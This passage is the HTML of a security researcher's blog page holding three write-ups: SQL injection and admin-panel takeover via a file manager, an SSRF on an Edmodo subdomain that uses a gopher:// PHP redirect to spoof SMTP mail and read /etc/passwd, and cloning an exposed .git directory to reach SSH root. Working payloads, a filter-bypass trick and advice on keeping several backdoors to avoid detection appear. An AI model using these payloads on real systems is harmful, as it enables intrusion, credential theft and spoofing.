2417So, i tried to upload the code again as the previous code got deleted and upon making a request to "files.php" i got the following response:</div>
2418<div class="separator" style="clear: both; text-align: center;">
2419<a href="https://1.bp.blogspot.com/-lDFo5DGl-xY/WxDxIuqSXXI/AAAAAAAACyo/rQrvk3115bIeHtahVSwefHczoD8RYxEswCLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="923" data-original-width="1600" height="368" src="https://1.bp.blogspot.com/-lDFo5DGl-xY/WxDxIuqSXXI/AAAAAAAACyo/rQrvk3115bIeHtahVSwefHczoD8RYxEswCLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B9.png" width="640" /></a></div>
2420<div class="separator" style="clear: both; text-align: left;">
2421<br /></div>
2422<div class="separator" style="clear: both; text-align: left;">
2423and sadly, the files.php was modified and their firewall was given a new signature that was blocking every malicious payload sent and i was no more able to create custom executable extensions such as php. So, a patch was deployed!</div>
2424<div class="separator" style="clear: both; text-align: left;">
2425<br /></div>
2426<h4 class="separator" style="clear: both; text-align: left;">
2427Dead end?</h4>
2428<div class="separator" style="clear: both; text-align: left;">
2429I thought i should give up as there was nothing i could do to read files or to gain access as this was the only known way but later i remembered that i downloaded source codes of different files. So i tried to analyze their sourcecode of phpfiles to see if i can find any vulnerabilities. There were hundreds of files and checking each one by one was not the solution so i tried to search code snippets having a specific keyword such as "mysql_query" as using that we can see if any code executing a SQL query is vulnerable to SQL Injection or not.</div>
2430<div class="separator" style="clear: both; text-align: left;">
2431<br /></div>
2432<div class="separator" style="clear: both; text-align: left;">
2433I used the command: <b>grep -r 'mysql_query' ./*.php | grep '$_' </b></div>
2434<div class="separator" style="clear: both; text-align: center;">
2435<a href="https://1.bp.blogspot.com/-MyMHX7clCww/WxDy4yn9mwI/AAAAAAAACy0/JuVQLt0-sgcgkydl2DR0NIFUq3Y6DKhHACLcBGAs/s1600/Screen%2BShot%2B2018-06-01%2Bat%2B12.15.31%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="264" data-original-width="1600" height="104" src="https://1.bp.blogspot.com/-MyMHX7clCww/WxDy4yn9mwI/AAAAAAAACy0/JuVQLt0-sgcgkydl2DR0NIFUq3Y6DKhHACLcBGAs/s640/Screen%2BShot%2B2018-06-01%2Bat%2B12.15.31%2BPM.png" width="640" /></a></div>
2436<div class="separator" style="clear: both; text-align: left;">
2437<br /></div>
2438<div class="separator" style="clear: both; text-align: left;">
2439and i found that a file sms.php on the main domain was having some protection missing on "number" parameters. </div>
2440<div class="separator" style="clear: both; text-align: left;">
2441<br /></div>
2442<div class="separator" style="clear: both; text-align: center;">
2443<a href="https://2.bp.blogspot.com/-AnVYsfrs_0A/WxDzt6BEQaI/AAAAAAAACy8/MK2uNaGVg64MxqM5lxIQU9jzKqugk7_gACLcBGAs/s1600/Screen%2BShot%2B2018-06-01%2Bat%2B12.19.48%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="529" data-original-width="1600" height="210" src="https://2.bp.blogspot.com/-AnVYsfrs_0A/WxDzt6BEQaI/AAAAAAAACy8/MK2uNaGVg64MxqM5lxIQU9jzKqugk7_gACLcBGAs/s640/Screen%2BShot%2B2018-06-01%2Bat%2B12.19.48%2BPM.png" width="640" /></a></div>
2444<div class="separator" style="clear: both; text-align: left;">
2445<br /></div>
2446<div class="separator" style="clear: both; text-align: left;">
2447Seems like the developer really knew to protect against these kind of attacks by using mysql_real_escape_string as we can see on line 155 but as human make mistakes, the developer forgot to filter input on line 140 and it is directly passed to the query.</div>
2448<div class="separator" style="clear: both; text-align: left;">
2449<br /></div>
2450<div class="separator" style="clear: both; text-align: left;">
2451In order to reach the execution flow we have to first pass a 'do' parameter having a value 'GetNumber' then we have to pass another parameter 'key' having our payload:</div>
2452<div class="separator" style="clear: both; text-align: left;">
2453http://redacted.com/sms.php?do=GetNumber&key=1'</div>
2454<div class="separator" style="clear: both; text-align: left;">
2455<br /></div>
2456<div class="separator" style="clear: both; text-align: left;">
2457i got the error: <b>MySQL Error 1064: You have an error in your SQL syntax</b></div>
2458<div class="separator" style="clear: both; text-align: left;">
2459<br /></div>
2460<div class="separator" style="clear: both; text-align: left;">
2461So i fired up sqlmap to get the work done quickly but after 10 requests it got blocked so manual was the only way to exploit it. I manually exploited the vulnerability and i was able to grab passwords from their database:</div>
2462<div class="separator" style="clear: both; text-align: center;">
2463<a href="https://2.bp.blogspot.com/-AaJ1GuPImrw/WxD2xG218DI/AAAAAAAACzI/LCGW7c_pDPA72sJAeEGVE-wVmerOf2hQQCLcBGAs/s1600/shawarkhan%2B-%2Barticle%2Bimage%2B10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="115" data-original-width="1600" height="46" src="https://2.bp.blogspot.com/-AaJ1GuPImrw/WxD2xG218DI/AAAAAAAACzI/LCGW7c_pDPA72sJAeEGVE-wVmerOf2hQQCLcBGAs/s640/shawarkhan%2B-%2Barticle%2Bimage%2B10.png" width="640" /></a></div>
2464<div class="separator" style="clear: both; text-align: left;">
2465i dumped credentials for 10 of their staff members:</div>
2466<div class="separator" style="clear: both; text-align: center;">
2467<a href="https://1.bp.blogspot.com/-V_-fU_cJfAI/WxD3Q_oltLI/AAAAAAAACzU/R5RDm83Si_sPI7FsUCzDK2E8ysXFCiCjACEwYBhgL/s1600/Screen%2BShot%2B2018-06-01%2Bat%2B12.35.02%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="280" data-original-width="878" height="204" src="https://1.bp.blogspot.com/-V_-fU_cJfAI/WxD3Q_oltLI/AAAAAAAACzU/R5RDm83Si_sPI7FsUCzDK2E8ysXFCiCjACEwYBhgL/s640/Screen%2BShot%2B2018-06-01%2Bat%2B12.35.02%2BPM.png" width="640" /></a></div>
2468<br />
2469<div class="separator" style="clear: both; text-align: left;">
2470Hashed passwords :| , They were md5 so i was able to easily crack them using hashkiller:</div>
2471<div class="separator" style="clear: both; text-align: center;">
2472<a href="https://2.bp.blogspot.com/-hZOso6a--WQ/WxD4snRN76I/AAAAAAAACzk/DH0umdJg220DAvqkcJSuf8FeTCDpBdbmgCLcBGAs/s1600/Screen%2BShot%2B2018-05-29%2Bat%2B8.37.20%2BAM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="324" data-original-width="1600" height="128" src="https://2.bp.blogspot.com/-hZOso6a--WQ/WxD4snRN76I/AAAAAAAACzk/DH0umdJg220DAvqkcJSuf8FeTCDpBdbmgCLcBGAs/s640/Screen%2BShot%2B2018-05-29%2Bat%2B8.37.20%2BAM.png" width="640" /></a></div>
2473<div class="separator" style="clear: both; text-align: left;">
2474<br /></div>
2475<div class="separator" style="clear: both; text-align: left;">
2476Boom! Plain text passwords for 7 users and one of them was administrator! </div>
2477<div class="separator" style="clear: both; text-align: left;">
2478While having read/write access using files.php i reconfigured some .htaccess files on admin panels as they were having some HTTP based protection so i modified them and accessed admin panels. The panel next asked for credentials that i got via SQLI and i was able to login:</div>
2479<div class="separator" style="clear: both; text-align: center;">
2480<a href="https://2.bp.blogspot.com/-1uxz1dhvggQ/WxD5yKOZeqI/AAAAAAAACzw/oyZilVv900Inqb3-p1JjavY5kI2OM-r7gCLcBGAs/s1600/Screen%2BShot%2B2018-06-01%2Bat%2B12.45.02%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="876" data-original-width="1600" height="350" src="https://2.bp.blogspot.com/-1uxz1dhvggQ/WxD5yKOZeqI/AAAAAAAACzw/oyZilVv900Inqb3-p1JjavY5kI2OM-r7gCLcBGAs/s640/Screen%2BShot%2B2018-06-01%2Bat%2B12.45.02%2BPM.png" width="640" /></a></div>
2481<div class="separator" style="clear: both; text-align: left;">
2482 </div>
2483<div class="separator" style="clear: both; text-align: left;">
2484Due to my initial steps that i quickly took when had access i accessed the panel. Because first there was HTTP based protection and is was having IP based restrictions, i modified the htaccess to my ip can access the panel, next i found the password via SQLI which i found from sourcecodes that i downloaded from initial vulnerability.</div>
2485<div class="separator" style="clear: both; text-align: left;">
2486<br /></div>
2487<h4 class="separator" style="clear: both; text-align: left;">
2488What did we learned?</h4>
2489<div class="separator" style="clear: both; text-align: left;">
2490<span style="font-weight: normal;">Suppose we got read access on a server, the first thing that we always should do is to download the sourcecodes of their internal files, we can find many juicy information from there such as credentials,panel passwords,and vulnerabilities. Next thing is that if we are uploading backdoors, make sure to backdoor something which is not commonly removed so keep multiple instances of your backdoors. By the way, the SQLI was fixed right after i accessed the panel so that was a quick move! You always have to be a quick one because everything should be done in time else your moves can be detected. So this was my discovery and approach on my recent target, kindly let me know in the comments if you love this write up and if it helped you.</span></div>
2491<div class="separator" style="clear: both; text-align: left;">
2492<br /></div>
2493<div class="separator" style="clear: both; text-align: left;">
2494<span style="font-weight: normal;">Things we achieved:</span></div>
2495<div class="separator" style="clear: both; text-align: left;">
2496<br /></div>
2497<div class="separator" style="clear: both; text-align: left;">
2498<span style="font-weight: normal;">PHP Code execution</span></div>
2499<div class="separator" style="clear: both; text-align: left;">
2500<span style="font-weight: normal;">Read/Write access on server</span></div>
2501<div class="separator" style="clear: both; text-align: left;">
2502<span style="font-weight: normal;">Panel Access</span></div>
2503<div class="separator" style="clear: both; text-align: left;">
2504<span style="font-weight: normal;">Database Access</span></div>
2505<div class="separator" style="clear: both; text-align: left;">
2506<span style="font-weight: normal;">and many more. </span></div>
2507<div class="separator" style="clear: both; text-align: center;">
2508<br /></div>
2509<div class="separator" style="clear: both; text-align: left;">
2510<span style="font-weight: normal;"> </span></div>
2511<div class="separator" style="clear: both; text-align: left;">
2512<br /></div>
2513</div>
2514</span>
2515<script type='text/javascript'>var x="Getting PHP Code Execution and leverage access to panels,databases,server",y="https://www.shawarkhan.com/2018/06/getting-php-code-execution-and-leverage.html",t="12:54 AM",u="0";rm("p4372118351582006091")</script>
2516</div>
2517<div style='clear: both;'></div>
2518</div>
2519<div class='post-footer'>
2520<div class='post-footer-line post-footer-line-1'></div>
2521<div class='post-footer-line post-footer-line-2'></div>
2522<div class='post-footer-line post-footer-line-3'></div>
2523</div>
2524</div></div>
2525</div>
2526
2527 </div></div>
2528
2529
2530 <div class="date-outer">
2531
2532<h2 class='date-header'><span>Monday, May 21, 2018</span></h2>
2533
2534 <div class="date-posts">
2535
2536<div class='post-outer'>
2537<div class='col-md-4 col-sm-4 col-xs-12 worksItem worksCateg1 sjps' style='display: inline-block;'>
2538<div class='theme-img'>
2539<div class='post-body entry-content' id='post-body-9049865489555170255' itemprop='description articleBody'>
2540<div class='entry-title'>
2541<h3 align='center' itemprop='name' style='display:none;'>
2542<a href='https://www.shawarkhan.com/2018/05/getting-read-access-on-edmodo.html'>Getting read access on Edmodo Production Server by exploiting SSRF</a>
2543</h3>
2544</div>
2545<div class='body-post'>
2546<span id='p9049865489555170255'><div dir="ltr" style="text-align: left;" trbidi="on">
2547<br />
2548<div class="separator" style="clear: both; text-align: center;">
2549<a href="https://2.bp.blogspot.com/-Qbhhmb1ug9A/WwMqv8rJY7I/AAAAAAAACv4/EMxrlnvvE6ohHY1pUv5DzVYw6QiLnLo3gCLcBGAs/s1600/edmodo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="350" data-original-width="716" src="https://2.bp.blogspot.com/-Qbhhmb1ug9A/WwMqv8rJY7I/AAAAAAAACv4/EMxrlnvvE6ohHY1pUv5DzVYw6QiLnLo3gCLcBGAs/s1600/edmodo.jpg" /></a></div>
2550<br />
2551Hey Mates! <br />
2552This is Mustafa Khan, Two weeks back I was planing to hunt some bounty sites to get some $$ but had some private programs and most of them seems to be secured and most of the researchers hunted it before me so had zero luck. 😞 <br />
2553Since I was disappointed and got bored so I thought to retest The Great Edmodo. while scanning for subdomains I got some interesting subdomains and starting to explore it. While checking each of the subdomains I chose my target which was Edmodo.<br />
2554<br />
2555In this writeup I am going to disclose my recent finding of Edmodo. I found an SSRF vulnerability by exploiting which i was able to gain Read-access on their production server.<br />
2556<br />
2557While exploring their services and subdomains I came across a subdomain ‘<b>partnerships.edmodo.com</b>’. This domain was having a registration area where publishers can register by submitting a form. The site was basically using Wordpress CMS and I tested it accordingly but wasn’t able to exploit the CMS as it was using the latest and secure version. So I turned on my interception proxy(Burp suite) and monitored each and every request and found that while writing data to the form a POST request was being sent to the following URL:<br />
2558<br />
2559https://partnerships.edmodo.com/wp-content/themes/edmodo-developers/form-proxy.php?url=https://www.edmodo.com/index/<br />
2560ajax-check-in-db<br />
2561<div class="separator" style="clear: both; text-align: center;">
2562<a href="https://3.bp.blogspot.com/-6LVpSjpcUfY/WwMmUMEb8xI/AAAAAAAACvI/N91VgHJMkU417aMIleL3hwTq_L5NWHZyQCLcBGAs/s1600/Screen%2BShot%2B2018-05-21%2Bat%2B10.08.00%2BPM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1109" data-original-width="1600" height="441" src="https://3.bp.blogspot.com/-6LVpSjpcUfY/WwMmUMEb8xI/AAAAAAAACvI/N91VgHJMkU417aMIleL3hwTq_L5NWHZyQCLcBGAs/s640/Screen%2BShot%2B2018-05-21%2Bat%2B10.08.00%2BPM.png" width="640" /></a></div>
2563<br />
2564<br />
2565Seems like the <b>form-proxy.php</b> was somehow sending data to the file ajax-check-in-db, I tried replacing ‘url’ parameters value to http://my-ip-address and I was able to get a GET request to my server! Next I tried using <b>http://127.0.0.1:80</b> but that didn’t worked! So I tried using ‘<b>localhost</b>’ and <b>http://localhost:22</b> returned the following response:<br />
2566<br />
2567<code>{“status”:{“http_code”:0},”contents”:false}</code><br />
2568<br />
2569Alright, so that was a negative response, I tried to see if SMTP service was enabled so I used http://localhost:25 and got the following response:<br />
2570<br />
2571<code>{“status”:{“http_code”:0},”contents”:”200 pod-200279 ESMTP Postfix (Ubuntu)\r\n221 2.7.0 Error: I can break rules, too. Goodbye.\r\n”}</code><br />
2572<br />
2573Bingo! I was able to grab the SMTP banner! Now I was able to do an internal port scan using this SSRF vulnerability. I used burpsuite intruder in order to find other ports by including a range of ports and had a different response for open ports. I was able to grab banners of FTP,SSH and some other services as well.<br />
2574<br />
2575Alright, now what next?<br />
2576<br />
2577After that i ran another burp intruder and detected different schemes being used i found many of them were enabled and the most interesting one was the <b>Gopher</b>. As we know SMTP can be exploited if we have Gopher protocol enabled so I tried to check if gopher is enabled and it was enabled! There were other schemes available as well such as ftp and some other.<br />
2578<br />
2579Now the next thing was, I have to inject CRLF and new line characters and have to pass my arguments to SMTP service via <b>Gopher</b> protocol. Using gopher protocol we are able to communicate with these kind of services so I created a PHP file on my server having the following code:<br />
2580<br />
2581<pre class="brush: csharp"><span style="font-weight: normal;">
2582<?php
2583 $commands = array(
2584 ‘HELLO victim.com’,
2585 ‘MAIL FROM: <admin@edmodo.com>’,
2586 ‘RCPT To: <MYEMAIL@gmail.com>’,
2587 ‘DATA’,
2588 ‘Subject: WOOT’,
2589 ‘woot woot! Edmodo PWNED 😛’,
2590 ‘.’
2591 );
2592
2593 $payload = implode(‘%0A’, $commands);
2594
2595 header(‘Location: gopher://0:25/_'.$payload);
2596?>
2597</span></pre>
2598<br />
2599after setting the url parameter to the path of my PHP file i was able to redirect the vulnerable application to the Gopher scheme having my payload and i was able to communicate with the SMTP service! I was able to receive email from <b>admin@edmodo.com</b> ! Using this I was able to send emails from their server!<br />
2600<div class="separator" style="clear: both; text-align: center;">
2601<a href="https://1.bp.blogspot.com/-A5QxnFMmTyk/WwMojExeoUI/AAAAAAAACvU/oiYnuICxtxMQorD2NeJtmEmIuC9XN5UaACLcBGAs/s1600/Screen%2BShot%2B2018-05-22%2Bat%2B1.13.41%2BAM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="308" data-original-width="1250" height="157" src="https://1.bp.blogspot.com/-A5QxnFMmTyk/WwMojExeoUI/AAAAAAAACvU/oiYnuICxtxMQorD2NeJtmEmIuC9XN5UaACLcBGAs/s640/Screen%2BShot%2B2018-05-22%2Bat%2B1.13.41%2BAM.png" width="640" /></a></div>
2602<br />
2603<br />
2604Now here comes the interesting part. The ‘file’ scheme was also available using which I was able to read files on their server. I tried accessing <b>file:///etc/hosts </b>and I was able to get the content of hosts file:<br />
2605<div class="separator" style="clear: both; text-align: center;">
2606<a href="https://1.bp.blogspot.com/-_6TXp2WPOkk/WwMouMHoVgI/AAAAAAAACvY/x9hLqR2XDSg9IpdgLWasje8H3I4ZJS_UACLcBGAs/s1600/Edmodo%2B-%2Bets%2Bhosts.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="632" data-original-width="1020" height="396" src="https://1.bp.blogspot.com/-_6TXp2WPOkk/WwMouMHoVgI/AAAAAAAACvY/x9hLqR2XDSg9IpdgLWasje8H3I4ZJS_UACLcBGAs/s640/Edmodo%2B-%2Bets%2Bhosts.jpeg" width="640" /></a></div>
2607<br />
2608<br />
2609<div class="separator" style="clear: both; text-align: center;">
2610</div>
2611But when I tried<b> file:///etc/passwd</b> it returned an Error, there might be some kind of firewall detecting the signature. Kudos to Eric! I used a ‘<b>./</b>‘ as Eric told me and the final Url was<b> file:///etc/./passwd</b> and I was able to get the content of passed file!<br />
2612<div class="separator" style="clear: both; text-align: center;">
2613<a href="https://3.bp.blogspot.com/-v22t4LbhqHg/WwMovczPjtI/AAAAAAAACvc/HQtFRzGGI9YOlwHf6jMC0cIPyQz8VRBYACEwYBhgL/s1600/Edmodo%2B-%2Betc%2Bpasswd.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="688" data-original-width="1024" height="430" src="https://3.bp.blogspot.com/-v22t4LbhqHg/WwMovczPjtI/AAAAAAAACvc/HQtFRzGGI9YOlwHf6jMC0cIPyQz8VRBYACEwYBhgL/s640/Edmodo%2B-%2Betc%2Bpasswd.jpeg" width="640" /></a></div>
2614<br />
2615<br />
2616Now we got read access over their production server! I was able to read any file of their server plus i was able to communicate with their internal hosts, do internal port scans, make requests from server and many other things!<br />
2617<br />
2618Bundles of thanks to the following Good friends of mine for helping me out to take this bug to the next level. {Shawar Khan, Zain Sabahat, Eric johnson}</div>
2619</span>
2620<script type='text/javascript'>var x="Getting read access on Edmodo Production Server by exploiting SSRF",y="https://www.shawarkhan.com/2018/05/getting-read-access-on-edmodo.html",t="1:27 PM",u="0";rm("p9049865489555170255")</script>
2621</div>
2622<div style='clear: both;'></div>
2623</div>
2624<div class='post-footer'>
2625<div class='post-footer-line post-footer-line-1'></div>
2626<div class='post-footer-line post-footer-line-2'></div>
2627<div class='post-footer-line post-footer-line-3'></div>
2628</div>
2629</div></div>
2630</div>
2631
2632 </div></div>
2633
2634
2635 <div class="date-outer">
2636
2637<h2 class='date-header'><span>Thursday, October 5, 2017</span></h2>
2638
2639 <div class="date-posts">
2640
2641<div class='post-outer'>
2642<div class='col-md-4 col-sm-4 col-xs-12 worksItem worksCateg1 sjps' style='display: inline-block;'>
2643<div class='theme-img'>
2644<div class='post-body entry-content' id='post-body-8514649162256041247' itemprop='description articleBody'>
2645<div class='entry-title'>
2646<h3 align='center' itemprop='name' style='display:none;'>
2647<a href='https://www.shawarkhan.com/2017/10/remote-code-execution-from-recon-to-root.html'>Remote Code Execution - From Recon to Root!</a>
2648</h3>
2649</div>
2650<div class='body-post'>
2651<span id='p8514649162256041247'><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-H9HVlxpdSeY/WdZMcKUJ0sI/AAAAAAAACGk/E09G1Wun_O4nNbLIfJFXYqtuc96FR-v3ACLcBGAs/s1600/Pwned.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="346" data-original-width="587" src="https://1.bp.blogspot.com/-H9HVlxpdSeY/WdZMcKUJ0sI/AAAAAAAACGk/E09G1Wun_O4nNbLIfJFXYqtuc96FR-v3ACLcBGAs/s1600/Pwned.png" /></a></div>Greetings everyone! This is Shawar Khan and today i'm going to share one of my recent findings. I'll show you how proper recon can lead to code execution. Recon and information gathering is an important part of penetration testing as knowing your target gives you more areas to attack.<br />
2652<br />
2653So, a friend of mine gave me an IP address which was having an Admin Panel for test. After pentesting the panel, i knew that it was not bypassable and every layer was properly protected. There was no info available about the IP address, so a quick file enumeration!<br />
2654<br />
2655nothing interesting found, but a '<b>.git</b>' directory!<br />
2656<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-dDwi4Z05JA4/WdY_5qtnCdI/AAAAAAAACEw/-1CjozexzU0_vza7NXQ8q8oQcuvwW5FewCLcBGAs/s1600/Selection_245.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="550" src="https://4.bp.blogspot.com/-dDwi4Z05JA4/WdY_5qtnCdI/AAAAAAAACEw/-1CjozexzU0_vza7NXQ8q8oQcuvwW5FewCLcBGAs/s1600/Selection_245.png" /></a></div><br />
2657Alright, so '.git' contains a 'config' file where we can find the repository from where the files were cloned, sometimes we can find passwords for a password-protected repository in 'config'!<br />
2658<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ssnpC-x_EUc/WdZAw2IzImI/AAAAAAAACE4/cwek8C32GEUNEr5iZCa0bsLN8_gBIqjjACLcBGAs/s1600/nothing%2Bbut%2Ba%2Brepository.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="396" data-original-width="748" src="https://1.bp.blogspot.com/-ssnpC-x_EUc/WdZAw2IzImI/AAAAAAAACE4/cwek8C32GEUNEr5iZCa0bsLN8_gBIqjjACLcBGAs/s1600/nothing%2Bbut%2Ba%2Brepository.png" /></a></div><br />
2659Unlucky... No credentials found. The next thing to check was to see if the .git directory is having directory listing or not. If there is directory listing, we are able to clone all the files include objects:<br />
2660<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-Luj2njRmfOU/WdZBM9ifyEI/AAAAAAAACE8/4yappMRr4tk9gwRNsHuYEzeFG9GiCERFgCLcBGAs/s1600/Directory%2BListing.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="440" data-original-width="530" src="https://4.bp.blogspot.com/-Luj2njRmfOU/WdZBM9ifyEI/AAAAAAAACE8/4yappMRr4tk9gwRNsHuYEzeFG9GiCERFgCLcBGAs/s1600/Directory%2BListing.png" /></a></div> and Yes!<br />
2661and Directory Listing was enabled which means we can download all the files and can run git status to get paths of all the files available on apache. Using the following command i cloned the files:<br />
2662<br />
2663<pre class="brush: csharp">wget -m -I .git http://IP/.git/</pre><br />
2664cloned the files and then '<b>git status</b>'<br />
2665<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-kMDopEqo9FM/WdZFI-AaJEI/AAAAAAAACFI/FDFSqyYjIiwF8Im_F9TD1xFdde-Ohg5awCLcBGAs/s1600/files%2Bdisclosed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="379" data-original-width="635" src="https://2.bp.blogspot.com/-kMDopEqo9FM/WdZFI-AaJEI/AAAAAAAACFI/FDFSqyYjIiwF8Im_F9TD1xFdde-Ohg5awCLcBGAs/s1600/files%2Bdisclosed.png" /></a></div><br />
2666found '3398' files!<br />
2667Some 'xlsx' files having data of Users!<br />
2668<br />
2669<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-m9i0yFetc2I/WdZFy3eQvrI/AAAAAAAACFc/SblwheAv_ZUkTX2Y1x7Jv7Tb4TdAve47ACLcBGAs/s1600/repots.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="238" data-original-width="643" src="https://3.bp.blogspot.com/-m9i0yFetc2I/WdZFy3eQvrI/AAAAAAAACFc/SblwheAv_ZUkTX2Y1x7Jv7Tb4TdAve47ACLcBGAs/s1600/repots.png" /></a></div><br />
2670Accessed the files and got the data!<br />
2671<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-qiY4oo394bM/WdZG2YvaZsI/AAAAAAAACFk/85IRakj7w5wGnM765rTnLKnTJNBG9s9sACLcBGAs/s1600/data.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="362" data-original-width="722" src="https://3.bp.blogspot.com/-qiY4oo394bM/WdZG2YvaZsI/AAAAAAAACFk/85IRakj7w5wGnM765rTnLKnTJNBG9s9sACLcBGAs/s1600/data.png" /></a></div><br />
2672interesting that the git status command was showing files as removed but they were available. This was not the end, found an interesting file:<br />
2673<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-MaSgIi-DrTQ/WdZHXdcSfTI/AAAAAAAACFs/x2jJaeezYswAxJ-74hA7vW98arnxc2baQCLcBGAs/s1600/the%2Bback%2Bup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="64" data-original-width="361" src="https://2.bp.blogspot.com/-MaSgIi-DrTQ/WdZHXdcSfTI/AAAAAAAACFs/x2jJaeezYswAxJ-74hA7vW98arnxc2baQCLcBGAs/s1600/the%2Bback%2Bup.png" /></a></div>Backup files! One file was having entire user data and the other tar file was having the backup of all files on the web. So now i was having access to source code!<br />
2674<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-PVdwH3HXrCw/WdZIkevWLJI/AAAAAAAACF0/VWEkdfJfJaQw_g6fZaEDwZgZiXS20EtsACLcBGAs/s1600/the%2Bsource%2Bfiles.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="426" data-original-width="707" src="https://1.bp.blogspot.com/-PVdwH3HXrCw/WdZIkevWLJI/AAAAAAAACF0/VWEkdfJfJaQw_g6fZaEDwZgZiXS20EtsACLcBGAs/s1600/the%2Bsource%2Bfiles.png" /></a></div><br />
2675Now it was time for a code review of those files but wasn't crazy enough to review all of them as i was excited to gather some more interesting stuff. Did a quick grep to see if i can anything related to SSH:<br />
2676<br />
2677<pre class="brush: csharp">grep /PATH/ -rnw -e 'ssh'</pre><br />
2678<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-3tQX_yy94YE/WdZJpDiUASI/AAAAAAAACF8/B1xgC2zky7Y3okNvcRCLeUT0yiehdvOIwCLcBGAs/s1600/ssh%2Bcreds.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="159" data-original-width="805" src="https://1.bp.blogspot.com/-3tQX_yy94YE/WdZJpDiUASI/AAAAAAAACF8/B1xgC2zky7Y3okNvcRCLeUT0yiehdvOIwCLcBGAs/s1600/ssh%2Bcreds.png" /></a></div><br />
2679and i was amazed to see what i found in a PHP file:<br />
2680<br />
2681<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-v4PhPqtROrI/WdZLHfzAyuI/AAAAAAAACGI/rvCZ_yiQly4llGRIrlBfWw86rdj6_UjNgCLcBGAs/s1600/ssh%2Bcreds%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="392" data-original-width="563" src="https://3.bp.blogspot.com/-v4PhPqtROrI/WdZLHfzAyuI/AAAAAAAACGI/rvCZ_yiQly4llGRIrlBfWw86rdj6_UjNgCLcBGAs/s1600/ssh%2Bcreds%2B2.png" /></a></div><br />
2682Got SSH & Git Password! Time for SSH:<br />
2683<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-FGMhJu3B8VU/WdZLmLVUvQI/AAAAAAAACGQ/hV84JqP0ewUoacIaq9sYfpBHJ58hdkCsACLcBGAs/s1600/bugbounty_pwned.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="557" data-original-width="1218" src="https://1.bp.blogspot.com/-FGMhJu3B8VU/WdZLmLVUvQI/AAAAAAAACGQ/hV84JqP0ewUoacIaq9sYfpBHJ58hdkCsACLcBGAs/s1600/bugbounty_pwned.png" /></a></div><br />
2684Server access with Root Privileges! That's the End ;)<br />
2685Some more critical issues and another RCE was identified via code review but i guess this is the most interesting one among them.<br />
2686<br />
2687The vulnerability was reported and the fix is now deployed.<br />
2688<br />
2689Polish up Recon skills and you'll get what no one else could!<br />
2690Good Luck and Thanks for watching. Please share if you love this write-up.</div></span>
2691<script type='text/javascript'>var x="Remote Code Execution - From Recon to Root!",y="https://www.shawarkhan.com/2017/10/remote-code-execution-from-recon-to-root.html",t="8:17 AM",u="0";rm("p8514649162256041247")</script>
2692</div>
2693<div style='clear: both;'></div>
2694</div>
2695<div class='post-footer'>
2696<div class='post-footer-line post-footer-line-1'></div>
2697<div class='post-footer-line post-footer-line-2'></div>
2698<div class='post-footer-line post-footer-line-3'></div>
2699</div>
2700</div></div>
2701</div>
2702
2703 </div></div>
2704
2705<!--Can't find substitution for tag [adEnd]-->
2706</div>
2707<div class='blog-pager' id='blog-pager'>
2708<span id='blog-pager-older-link'>
2709<a class='blog-pager-older-link' href='https://www.shawarkhan.com/search?updated-max=2017-10-05T08:17:00-07:00&max-results=6' id='Blog1_blog-pager-older-link' title='Older Posts'>Older Posts</a>
2710</span>
2711<a class='home-link' href='https://www.shawarkhan.com/'>Home</a>
2712</div>
2713<div class='clear'></div>
2714<script type="text/javascript">window.___gcfg = {'lang': 'en'};</script>
2715</div></div>
2716</div><!-- /main-wrapper -->
2717<div class='clr'></div>
2718<!-- /ct-wrapper -->
2719</div>
2720<!-- Section Works End-->
2721<div id='footer'>
2722<div class='ct-wrapper'>
